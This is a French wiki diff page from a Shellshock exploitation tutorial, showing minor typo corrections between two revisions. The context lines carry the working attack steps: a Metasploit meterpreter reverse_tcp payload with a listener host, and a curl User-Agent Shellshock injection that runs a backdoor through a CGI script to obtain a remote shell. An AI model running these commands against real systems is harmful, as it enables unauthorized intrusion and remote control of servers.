Outils pour utilisateurs

Outils du site


appsysteme:bash_-_shellshock

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Les deux révisions précédentes Révision précédente
Prochaine révision
Révision précédente
appsysteme:bash_-_shellshock [2016/04/18 12:31]
yorin
appsysteme:bash_-_shellshock [2016/07/04 08:38] (Version actuelle)
Ligne 136: Ligne 136:
 <​code>​set PAYLOAD linux/​x86/​meterpreter/​reverse_tcp</​code>​ <​code>​set PAYLOAD linux/​x86/​meterpreter/​reverse_tcp</​code>​
  
-On lui stipule sur quelle ​host il attend la connexion :+On lui stipule sur quel host il attend la connexion :
  
 <​code>​set LHOST 192.168.1.1</​code>​ <​code>​set LHOST 192.168.1.1</​code>​
Ligne 159: Ligne 159:
 <​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/bash -c ;/​home/​notre_user/​lbdoor;​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​ <​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/bash -c ;/​home/​notre_user/​lbdoor;​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
-Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout c'est bien passé.+Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout s'est bien passé.
  
 {{ :​appsysteme:​connexion_metasploit-2.png?​nolink |}} {{ :​appsysteme:​connexion_metasploit-2.png?​nolink |}}
Ligne 166: Ligne 166:
 Vous avez désormais accès à une session meterpreter sur la machine distante. Vous avez désormais accès à une session meterpreter sur la machine distante.
  
-Si vous souhaitez obtenir un terminal , il vous suffis ​de taper "​shell"​+Si vous souhaitez obtenir un terminal , il suffit ​de taper "​shell"​
  
 {{ :​appsysteme:​meterpreter.jpg?​nolink |}} {{ :​appsysteme:​meterpreter.jpg?​nolink |}}
  
-L'​outil meterpreter est puissant ​il embarque toute une multitude de code pour le post exploitation.+L'​outil meterpreter est puissant ​et embarque toute une multitude de code pour le post exploitation.
  
 Pour plus d'info un site que je recommande [[http://​sitedugaci.com/​30/​4/​tutoriel/​chapitre/​meterpreter.html]] Pour plus d'info un site que je recommande [[http://​sitedugaci.com/​30/​4/​tutoriel/​chapitre/​meterpreter.html]]
  
 Source :[[ https://​www.youtube.com/​watch?​v=R3rs8hdXqso]] Source :[[ https://​www.youtube.com/​watch?​v=R3rs8hdXqso]]
appsysteme/bash_-_shellshock.1460982670.txt.gz · Dernière modification: 2016/07/04 08:37 (modification externe)